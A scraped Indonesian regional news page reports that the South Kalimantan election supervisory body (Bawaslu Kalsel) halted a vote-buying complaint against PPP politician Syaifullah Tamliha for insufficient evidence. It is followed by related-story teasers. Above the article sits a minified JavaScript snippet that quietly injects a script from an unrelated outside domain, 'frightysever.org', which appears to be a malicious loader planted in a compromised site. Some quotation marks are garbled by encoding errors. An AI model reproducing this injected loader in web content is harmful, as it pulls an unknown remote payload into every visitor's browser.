(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Badan Pengawas Pemilu (Bawaslu) Kalsel menghentikan kasus laporan dugaan politik uang yang dituduhkan ke caleg politisi senior PPP Syaifullah Tamliha.
Laporan yang diajukan kader caleg sejawat Nasrullah AR, soal praktik bagi-bagi uang yang dituduhkan ke Syaifullah Tamliha di Kecamatan Haruyan, Kabupaten Hulu Sungai Tengah (HST) dan Kecamatan Paramasan, Kabupaten Banjar, berdasar kajian Bawaslu Kalsel tak memenuhi syarat formil dan materil.
Laporan Nasrullah AR, menurut Koordinator Divisi Penindakan Bawaslu Kalsel, Azhar Ridhanie tidak bisa ditingkatkan ke tahapan penyelidikan dan penyidikan untuk dikaji selama 14 hari kerja, terlebih tak ada saksi yang menguatkan.
“Dari pembahasan dan kajian kedua yang dilakukan Bawaslu Kalsel, laporan saudara Nasrullah atas terlapor Syaifullah Tamliha diputuskan dihentikan. Ini merupakan pendapat dan pandangan Bawaslu Kalsel secara resmi,†tegas Aldo -panggilan akrab Azharie-.
Dua alat bukti yang diajukan pelapor Nasrullah tidak mengarahkan kepada subjek pelanggar. Dalam hal ini, ada yang putus dalam mengusut perkara tersebut untuk dinaikkan dalam tahap penyelidikan.
Dengan pertimbangan berdasar kajian, Bawaslu Kalsel menegaskan laporan Nasrullah tak bisa ditelusuri lagi, dengan waktu yang ada karena semuanya tidak mengarah kepada subjek pelanggar.
“Memang dalam kasus ini banyak saksi, tapi pada saat proses pembuktikan justru tidak mengetahui. Ini ditambah pelapor dalam mendata saksi tidak mengarahkan atau bisa membuktikan ke arah subjek pelanggar,†cetusnya.
Aldo menjelaskan lagi, yang memberi uang atau dituduh membagi-bagikan uang itu bukan subjek. Sementara yang dilaporkan Nasrullah yakni Syaifullah Tamliha adalah subjek yang dimaksud.
Nasrullah pun mengakui keputusan itu hak Bawaslu Kalsel. Namun menurutnya tentu ada upaya lain yang bisa saja ditempuh seperti memasukkan perkara ini ke Polda Kalsel baik pidana umum atau tindak pidana korupsi.
Nasrullah AR. foto : mario
Namun untuk melanjutkan kasus tersebut, Nasrullah mengaku pikir-pikir dulu. “Ya kita akan pikiran dulu untuk melakukan langkah selanjutnya,†terang Nasrullah.
Nasrullah juga mengakui bahwa ia tak pernah ‘bernegosisi’ dengan Syaifullah Tamliha. Meski memang ada arahan dari Dewan Pimpinan Pusat (DPP) PPP untuk mediasi. (mario)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.